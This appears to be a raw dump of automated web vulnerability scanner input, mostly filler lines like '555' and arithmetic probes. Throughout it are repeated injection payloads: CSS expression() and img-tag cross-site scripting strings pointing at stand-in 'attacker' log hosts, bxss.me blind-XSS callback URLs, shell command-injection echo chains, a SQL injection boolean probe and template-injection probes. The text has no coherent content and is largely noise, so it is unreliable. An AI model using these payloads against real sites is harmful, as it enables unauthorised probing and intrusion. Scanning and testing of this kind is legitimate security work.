bfgx10234z1z2abcxhjl10234
555CWX1D[!+!]
555}body{zzz:Expre/**/SSion(4O9W(9160))}
555
@@9wEEo
555
555
555
555D2dj9ZVQ
555*279*274*0
555*490*485*0
@@P8KA2
555
555
555
555
555
555
555
555
555
555
555
5559861055
bfg1851<s1﹥s2ʺs3ʹhjl1851
555IMYMU[!+!]
555}body{zzz:Expre/**/SSion(EhJN(9666))}
555RUN9U[!+!]
555<img sRc='http://attacker-9874/log.php?
555<a0kbTIf<
555
555
555
555
555
555H2iWb1u5
555*173*168*0
555
555+157-152-5
555*984*979*0
555*88*83*0
555
555
@@A5qPB
555
555
555
555
555
555
5559449749
bfg3889<s1﹥s2ʺs3ʹhjl3889
555ZJPUJ[!+!]
555}body{zzz:Expre/**/SSion(I8TG(9220))}
555XFVS6[!+!]
555<img sRc='http://attacker-9589/log.php?
555<aOvBUAf<
555
555
555
555
555
555
555Nz1BV4OI
555*990*985*0
555*896*891*0
555*894*889*0
555*801*796*0
555
555
555
555
555
555
5559390750
bfg10425<s1﹥s2ʺs3ʹhjl10425
bfgx6558z1z2abcxhjl6558
5554FRCE[!+!]
555}body{zzz:Expre/**/SSion(L7MX(9208))}
555DLXFB[!+!]
555<img sRc='http://attacker-9227/log.php?
555<agwQe70<
555
555
555
555
555
555
555
555
555
555
555*700*695*0
555*681*676*0
555
555
555
@@fxPko
555
555
555
555
555
555
555Vxu07kGI
555
555+516-511-5
555*115*110*0
555*12*7*0
555*754*749*0
555
555
555
555
555
5559753227
bfg2364<s1﹥s2ʺs3ʹhjl2364
555
555
555XQ1KF[!+!]
555
555
555lOpCdTCv
555RWLJY[!+!]
555+834-829-5
555*41*36*0
555*209*204*0
555+523-518-5
555
555
555
555
555
555
5559009653
bfg1312<s1﹥s2ʺs3ʹhjl1312
bfgx1038z1z2abcxhjl1038
555EPHPB[!+!]
@@PAup5
555}body{zzz:Expre/**/SSion(USLL(9969))}
555KA4DW[!+!]
555<img sRc='http://attacker-9315/log.php?
555
555
555
555
555
555
555
555
555
555
555uCoNsujz
555
555+274-269-5
555+729-724-5
555
555
555
555
555
555
555
555
@@SovgJ
555
555
555
555
555
555tkP2yRv8
555*971*966*0
555
555+367-362-5
555+853-848-5
555
555
555
@@Vlq5l
555
555
5559725361
bfg9269<s1﹥s2ʺs3ʹhjl9269
bfgx9042z1z2abcxhjl9042
555Y2KMF[!+!]
555}body{zzz:Expre/**/SSion(zTiE(9516))}
555XB3YT[!+!]
555<img sRc='http://attacker-9430/log.php?
555<aua6PLA<
555
555
555
555
555
555
555vbpT29A1
555*87*82*0
555
555+578-573-5
555*968*963*0
555+973-968-5
555*897*892*0
555+902-897-5
555
555
555
555
555
555
555
555
5559735300
bfg10892<s1﹥s2ʺs3ʹhjl10892
bfgx10398z1z2abcxhjl10398
555
555JGSLD[!+!]
555}body{zzz:Expre/**/SSion(GC09(9867))}
555PT8HE[!+!]
555<img sRc='http://attacker-9746/log.php?
555<aw92ops<
555
555
http://bxss.me/t/fit.txt
http://bxss.me/t/xss.html?%00
555
555
555
555
555RH7aBBAa
555*769*764*0
555
555+379-374-5
555+520-515-5
555*935*930*0
555+940-935-5
555
555
555
555
555
555
5559447151
bfg2925<s1﹥s2ʺs3ʹhjl2925
bfgx7649z1z2abcxhjl7649
555C2GET[!+!]
555}body{zzz:Expre/**/SSion(8haC(9413))}
555UCC2F[!+!]
555<img sRc='http://attacker-9285/log.php?
555<a1MRp9F<
555
555
555
555
555
555
555ARQvRn4Z
555*383*378*0
555+388-383-5
555*748*743*0
555*888*883*0
555
555
555
555
555
5559299544
bfg6299<s1﹥s2ʺs3ʹhjl6299
555THZSD[!+!]
555}body{zzz:Expre/**/SSion(uDMa(9838))}
555<img sRc='http://attacker-9632/log.php?
555
555
555
555
555
555
555
555
555
555
555
555*212*207*0
555*64*59*0
@@GaMoC
555
555
555
555
555
5558tBpDxep
555
555
555
555
555
555
555
@@7VC5k
555
555
555
555
555
555dezLCjra
555*74*69*0
555+79-74-5
555
555+349-344-5
555*315*310*0
555+320-315-5
555*986*981*0
555+991-986-5
555
555
@@gH2L7
555
555
555
555
555
555
5559490398
bfg1932<s1﹥s2ʺs3ʹhjl1932
bfgx8503z1z2abcxhjl8503
555WPNDW[!+!]
555
555}body{zzz:Expre/**/SSion(xwg7(9796))}
555L1EU6[!+!]
555<img sRc='http://attacker-9935/log.php?
555<aKTqk6D<
555
555
555
555
555
555
555P3X6mPYx
555
555+793-788-5
555*569*564*0
555*428*423*0
555*573*568*0
555+578-573-5
555
555
555
555
555
555
5559265543
bfg6064<s1﹥s2ʺs3ʹhjl6064
bfgx6932z1z2abcxhjl6932
555TZ0U6[!+!]
555
555
555
555
555
555
5558FDVh4S9
555*131*126*0
555*889*884*0
555
555+952-947-5
555*514*509*0
555
555
@@rQxdN
555
555
5559647704
bfg3576<s1﹥s2ʺs3ʹhjl3576
bfgx10866z1z2abcxhjl10866
555BAAEQ[!+!]
555
555
555}body{zzz:Expre/**/SSion(IMhO(9022))}
5559KV4A[!+!]
555<img sRc='http://attacker-9167/log.php?
555<aBUjfa2<
555
555
555
555
555Ksr1iucW
555
555*250*245*0
555*322*317*0
555*559*554*0
555+564-559-5
555*610*605*0
555+615-610-5
555
555
555
555
555
555
555
5559431122
@@IxxkA
bfg1337<s1﹥s2ʺs3ʹhjl1337
bfgx5713z1z2abcxhjl5713
555CX2PG[!+!]
555}body{zzz:Expre/**/SSion(SbqC(9503))}
555AIGWP[!+!]
555
555<img sRc='http://attacker-9833/log.php?
555<an9E0f3<
555
555
555
555
555MSaYur7v
555*710*705*0
555+715-710-5
555*519*514*0
555+524-519-5
555*747*742*0
555+752-747-5
555*662*657*0
555+667-662-5
555
555
@@KLoQW
555
555
555
555
555
5559962496
bfg6522<s1﹥s2ʺs3ʹhjl6522
bfgx7311z1z2abcxhjl7311
555GQA7E[!+!]
555}body{zzz:Expre/**/SSion(on0h(9960))}
555UJ6OO[!+!]
555<img sRc='http://attacker-9228/log.php?
555<ax3Z1l5<
555
555
555
555
555
555
555
555FpYRGmUq
555*522*517*0
555
555+367-362-5
555*742*737*0
555+747-742-5
555*887*882*0
555+892-887-5
555
555
555
@@hmErx
555
555
5559079942
bfg8038<s1﹥s2ʺs3ʹhjl8038
bfgx3322z1z2abcxhjl3322
5559ASVZ[!+!]
555
555}body{zzz:Expre/**/SSion(1IXI(9438))}
555SB5VL[!+!]
555
555
555*912*907*0
555*154*149*0
555+454-449-5
555
555
555
555
555
555
555
555
555
5559349666
bfg3464<s1﹥s2ʺs3ʹhjl3464
bfgx7812z1z2abcxhjl7812
555U90AV[!+!]
555}body{zzz:Expre/**/SSion(Bmnr(9470))}
555JOBAJ[!+!]
555<img sRc='http://attacker-9500/log.php?
555<aC8sL3b<
555
555
555
555
555
555
555
555
555
555mes7PYac
555*596*591*0
555+601-596-5
555*440*435*0
555*213*208*0
555*582*577*0
555
555
555
555
555
555
5559190065
bfg2858<s1﹥s2ʺs3ʹhjl2858
bfgx2100z1z2abcxhjl2100
@@1iuWn
555ZVETY[!+!]
555}body{zzz:Expre/**/SSion(lovk(9057))}
555X74L7[!+!]
555<img sRc='http://attacker-9123/log.php?
555<ajHY0ON<
555
555
555
555
555
555
555
555
555sF6XJSxj
555
555
555
555
555
555sIsmZNCi
555*352*347*0
555*884*879*0
555
555*716*711*0
555
555
555
555
@@H8XmF
555
5559089246
bfg8805<s1﹥s2ʺs3ʹhjl8805
bfgx7823z1z2abcxhjl7823
555XUWEY[!+!]
555}body{zzz:Expre/**/SSion(iGsu(9729))}
555<img sRc='http://attacker-9937/log.php?
555<aBlhR3f<
555
555
555
555
555
555
555
555
555us9XxvoW
555*245*240*0
555*901*896*0
555*38*33*0
555
555
555
555
555
555
5559254884
bfg5899<s1﹥s2ʺs3ʹhjl5899
bfgx2201z1z2abcxhjl2201
555ILQVW[!+!]
@@0Ypwk
555}body{zzz:Expre/**/SSion(zx4z(9627))}
555CQNXI[!+!]
555<img sRc='http://attacker-9414/log.php?
555<aEVgqJ7<
555
555
555
5559797972
555W2B5W[!+!]
555}body{zzz:Expre/**/SSion(ohFn(9286))}
555<img sRc='http://attacker-9081/log.php?
555
555Il1cO7hC
555
555*506*501*0
555*211*206*0
555+669-664-5
555
555
555
555
555SxcxgngD
555+938-933-5
555
555+183-178-5
555*19*14*0
555
555
555
555
555
@@x1VsP
555
555
5559362946
bfg10090<s1﹥s2ʺs3ʹhjl10090
555NYVEG[!+!]
555}body{zzz:Expre/**/SSion(tOR6(9340))}
555<img sRc='http://attacker-9962/log.php?
555<a4ofr6r<
555
555
555
555
555
555
555
55589oBssmo
555*212*207*0
555*373*368*0
555*740*735*0
555*414*409*0
555
555
555
555
555
555
5559117441
bfg10976<s1﹥s2ʺs3ʹhjl10976
bfgx7024z1z2abcxhjl7024
@@klBOb
555WB1K3[!+!]
555}body{zzz:Expre/**/SSion(5XB9(9799))}
555<img sRc='http://attacker-9355/log.php?
555
555
555
555
555
555
555
555
555nnmnsf0V
555
555
555+280-275-5
555
@@SzB3z
555
555
555
555
555ibExSQQH
555*314*309*0
555*908*903*0
555+913-908-5
555*966*961*0
555+971-966-5
555*121*116*0
555+126-121-5
555
555
555
@@NSuyQ
555
555
555
555
555
5559381442
bfg6058<s1﹥s2ʺs3ʹhjl6058
bfgx8393z1z2abcxhjl8393
555
555IUJ5X[!+!]
555}body{zzz:Expre/**/SSion(lqTY(9629))}
555QJMIE[!+!]
555<img sRc='http://attacker-9952/log.php?
555<aOukG8X<
555
555
555
555
555
555
555diGYXQhn
555*291*286*0
555+296-291-5
555*289*284*0
555
555+890-885-5
555*923*918*0
555
5559312126
bfg6545<s1﹥s2ʺs3ʹhjl6545
bfgx2528z1z2abcxhjl2528
555j609IjTk
555*84*79*0
555*664*659*0
555*373*368*0
555+378-373-5
555*115*110*0
555}body{zzz:Expre/**/SSion(Rocq(9015))}
@@m9gQQ
555
555
555
555
555
555
555fvsp36tC
555*826*821*0
555*552*547*0
555*279*274*0
555
555*454*449*0
555
555
555
555
@@uiTQW
555
555
555
555
5559543539
bfg9164<s1﹥s2ʺs3ʹhjl9164
bfgx10818z1z2abcxhjl10818
555L6BRT[!+!]
555}body{zzz:Expre/**/SSion(5QFL(9361))}
5559HZ5M[!+!]
555
555<aE0NcBi<
555
555
555
555
555
555IJbSu0JI
555*199*194*0
555+204-199-5
555*308*303*0
555
555+313-308-5
555*806*801*0
555+811-806-5
555*955*950*0
555+960-955-5
555
555
@@5FadF
555
555
555
555
555
555
5559729087
bfg4842<s1﹥s2ʺs3ʹhjl4842
bfgx6218z1z2abcxhjl6218
555BALMG[!+!]
555
555}body{zzz:Expre/**/SSion(xzVY(9283))}
555VIGXA[!+!]
555<img sRc='http://attacker-9462/log.php?
555<aZBD5Z1<
555
555
555
555nLeVZ9kK
555*529*524*0
555+534-529-5
555*581*576*0
555*200*195*0
555+205-200-5
555*196*191*0
555
555
555
555
555
555
555
555
555
555
555
5559751280
bfg2178<s1﹥s2ʺs3ʹhjl2178
bfgx2765z1z2abcxhjl2765
555
555F9QFH[!+!]
555}body{zzz:Expre/**/SSion(QJN9(9232))}
5553VHYZ[!+!]
555<img sRc='http://attacker-9735/log.php?
555<a84gkog<
555
555
555
555
555
555
555sqPK8cWQ
555*757*752*0
555*45*40*0
555+50-45-5
555*914*909*0
555+919-914-5
555*67*62*0
555+72-67-5
555
555
555
555
555
555
555
5559832328
bfg4518<s1﹥s2ʺs3ʹhjl4518
bfgx6153z1z2abcxhjl6153
555MCSWL[!+!]
555}body{zzz:Expre/**/SSion(YSLz(9755))}
555OBVIP[!+!]
555<img sRc='http://attacker-9250/log.php?
555<axDVm8F<
555
555
555
555
555
bxss.me/t/xss.html?%00
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
5559642330
bfg1374<s1﹥s2ʺs3ʹhjl1374
bfgx6734z1z2abcxhjl6734
555
1}}”}}’}}1%>”%>’%>
555dfeTsRd0
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
555*1
555HHCQB[!+!]
555+144-139-5
555*417*412*0
555+422-417-5
555*177*172*0
555+182-177-5
555}body{zzz:Expre/**/SSion(uCV6(9212))}
5556PDGA[!+!]
555<img sRc='http://attacker-9656/log.php?
555<a5COQo0<
555
555′”
@@wTtFi
555
555
555
555
555
bxss.me/t/xss.html?%00
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
5559280285
bxss.me
555
<th:t="${dfb}#foreach
1}}”}}’}}1%>”%>’%>
555HyKXROge
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
555*1
555+516-511-5
555*131*126*0
555+136-131-5
555*900*895*0
555}body{zzz:Expre/**/SSion(XAcO(9723))}
5551EUBP[!+!]
555<img sRc='http://attacker-9310/log.php?
555<aCrpVYq<
555
555′”
@@Zza9f
555
555
555
555
555
555
555STD2Ar9X
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
555*1
bxss.me
555*663*658*0
555
555
555
555
555
555
555
555
555
555
555
555%2527%2522\’\”
555
555
555
555
555
555
555zvWjk36k
555*696*691*0
555+701-696-5
555
555*599*594*0
555+604-599-5
555*506*501*0
555*96*91*0
555+101-96-5
555
555
@@Z3OYt
555
555
555
555
555
555
5559879572
bfg4975<s1﹥s2ʺs3ʹhjl4975
bfgx10704z1z2abcxhjl10704
555AO6ZJ[!+!]
555
555
555
555
555
555
5550GpBkv1e
555*408*403*0
555*719*714*0
555*682*677*0
555*610*605*0
555
555
555
555
555
555
555
5559095347
@@1irPc
bfg8709<s1﹥s2ʺs3ʹhjl8709
bfgx3331z1z2abcxhjl3331
555EDTVX[!+!]
555}body{zzz:Expre/**/SSion(YnKD(9458))}
555Z9CZI[!+!]
555<img sRc='http://attacker-9339/log.php?
555<aqcprCL<
555
555
555
555
echo xfmihy$()\ bqzgvl\nz^xyu||a #’ &echo xfmihy$()\ bqzgvl\nz^xyu||a #|” &echo xfmihy$()\ bqzgvl\nz^xyu||a #
&echo gryupq$()\ jqpwyp\nz^xyu||a #’ &echo gryupq$()\ jqpwyp\nz^xyu||a #|” &echo gryupq$()\ jqpwyp\nz^xyu||a #
555&echo jlfkri$()\ sfxrvi\nz^xyu||a #’ &echo jlfkri$()\ sfxrvi\nz^xyu||a #|” &echo jlfkri$()\ sfxrvi\nz^xyu||a #
555
555|echo jxydya$()\ vuqzil\nz^xyu||a #’ |echo jxydya$()\ vuqzil\nz^xyu||a #|” |echo jxydya$()\ vuqzil\nz^xyu||a #
555kMTQjmAv
555*926*921*0
555+931-926-5
555*87*82*0
555*31*26*0
555
555+267-262-5
555
555
555
555
@@sT6Ob
555
555
555
5559606422
bfg6228<s1﹥s2ʺs3ʹhjl6228
bfgx3630z1z2abcxhjl3630
555Q6AIR[!+!]
555}body{zzz:Expre/**/SSion(KVQx(9943))}
555NPPCC[!+!]
555<img sRc='http://attacker-9766/log.php?
555<aJ7HIB0<
555
555
555
555
555
555
555
555
555
555Jx7ElAj8
555*612*607*0
555*848*843*0
555*771*766*0
555*36*31*0
555
555
555
555
555
555
5559525202
bfg8502<s1﹥s2ʺs3ʹhjl8502
bfgx7904z1z2abcxhjl7904
555XQBVO[!+!]
@@nX78N
555}body{zzz:Expre/**/SSion(ZXRZ(9766))}
555GWFQM[!+!]
555<img sRc='http://attacker-9618/log.php?
555<aN0GpyQ<
555
555
555
555
555
555
555
555YkpS2yNX
555*232*227*0
555*193*188*0
555*283*278*0
555+288-283-5
555*270*265*0
555
555
555
@@2eK7z
555
555
555
555
5559512258
bfg7445<s1﹥s2ʺs3ʹhjl7445
bfgx5687z1z2abcxhjl5687
555MOLPB[!+!]
555}body{zzz:Expre/**/SSion(gWfm(9693))}
555SRMWZ[!+!]
555<img sRc='http://attacker-9126/log.php?
555<aVC7Whm<
555
555
555
echo kxuxbp$()\ wjzvar\nz^xyu||a #’ &echo kxuxbp$()\ wjzvar\nz^xyu||a #|” &echo kxuxbp$()\ wjzvar\nz^xyu||a #
http://bxss.me/t/fit.txt
555&echo ojtozo$()\ tjvjyf\nz^xyu||a #’ &echo ojtozo$()\ tjvjyf\nz^xyu||a #|” &echo ojtozo$()\ tjvjyf\nz^xyu||a #
|echo ttaxwq$()\ cotqzc\nz^xyu||a #’ |echo ttaxwq$()\ cotqzc\nz^xyu||a #|” |echo ttaxwq$()\ cotqzc\nz^xyu||a #
5559620018
bfg6134<s1﹥s2ʺs3ʹhjl6134
bfgx7361z1z2abcxhjl7361
555W1PC3[!+!]
555
555}body{zzz:Expre/**/SSion(ti9o(9403))}
555K56JJ[!+!]
555*922*917*0
555<asmJiQk<
555*142*137*0
555+147-142-5
555*506*501*0
555+511-506-5
555+280-275-5
555
-1 OR 3+832-832-1=0+0+0+1
@@is9Lz
555
555
echo hizioy$()\ okssnq\nz^xyu||a #’ &echo hizioy$()\ okssnq\nz^xyu||a #|” &echo hizioy$()\ okssnq\nz^xyu||a #
&echo adujlw$()\ mnwoaq\nz^xyu||a #’ &echo adujlw$()\ mnwoaq\nz^xyu||a #|” &echo adujlw$()\ mnwoaq\nz^xyu||a #
555&echo tgauwi$()\ lseyre\nz^xyu||a #’ &echo tgauwi$()\ lseyre\nz^xyu||a #|” &echo tgauwi$()\ lseyre\nz^xyu||a #
555|echo dvtmgk$()\ tulzyj\nz^xyu||a #’ |echo dvtmgk$()\ tulzyj\nz^xyu||a #|” |echo dvtmgk$()\ tulzyj\nz^xyu||a #
http://bxss.me/t/fit.txt
555
555
555
555WQ0l5YRT
555*980*975*0
555
555*517*512*0
555+522-517-5
555*968*963*0
555+973-968-5
555*846*841*0
555
555+851-846-5
555/1
555
@@PMVr7
555
555
555
555
555
5559396227
bfg8072<s1﹥s2ʺs3ʹhjl8072
bfgx3824z1z2abcxhjl3824
5553JIUQ[!+!]
555}body{zzz:Expre/**/SSion(CU7n(9597))}
555CO52E[!+!]
555<img sRc='http://attacker-9172/log.php?
555<a3LeQb7<
555
555
echo sfzkvt$()\ igxbol\nz^xyu||a #’ &echo sfzkvt$()\ igxbol\nz^xyu||a #|” &echo sfzkvt$()\ igxbol\nz^xyu||a #
555&echo dyditq$()\ cznrhu\nz^xyu||a #’ &echo dyditq$()\ cznrhu\nz^xyu||a #|” &echo dyditq$()\ cznrhu\nz^xyu||a #
555
555
555
555
555bE61qihE
555*554*549*0
555*390*385*0
555*763*758*0
555*727*722*0
555
555
@@lzqHR
555
555
555
555
555
555
5559269257
bfg1949<s1﹥s2ʺs3ʹhjl1949
555
555PQPGB[!+!]
555}body{zzz:Expre/**/SSion(DIS3(9764))}
55539DKM[!+!]
555<img sRc='http://attacker-9696/log.php?
555<a4I7ccM<
555
555
555
5559573337
555Z5CdFFqm
555*102*97*0
bfg8004<s1﹥s2ʺs3ʹhjl8004
555+132-127-5
bfgx8785z1z2abcxhjl8785
555*465*460*0
555+470-465-5
555AQFQ3[!+!]
@@kUs52
555}body{zzz:Expre/**/SSion(EjGv(9287))}
555WUOYK[!+!]
555<img sRc='http://attacker-9125/log.php?
555<aLjmObt<
555
555
555
555
555
555
555gwJjUDet
555*985*980*0
555*72*67*0
555*777*772*0
555+782-777-5
555
555
555
@@2Sfm8
555
555
555
555
5559914649
bfg5168<s1﹥s2ʺs3ʹhjl5168
bfgx4395z1z2abcxhjl4395
555XHL9Y[!+!]
555
555}body{zzz:Expre/**/SSion(nhfP(9609))}
5550TLKE[!+!]
555<img sRc='http://attacker-9600/log.php?
555<aTcNhyB<
555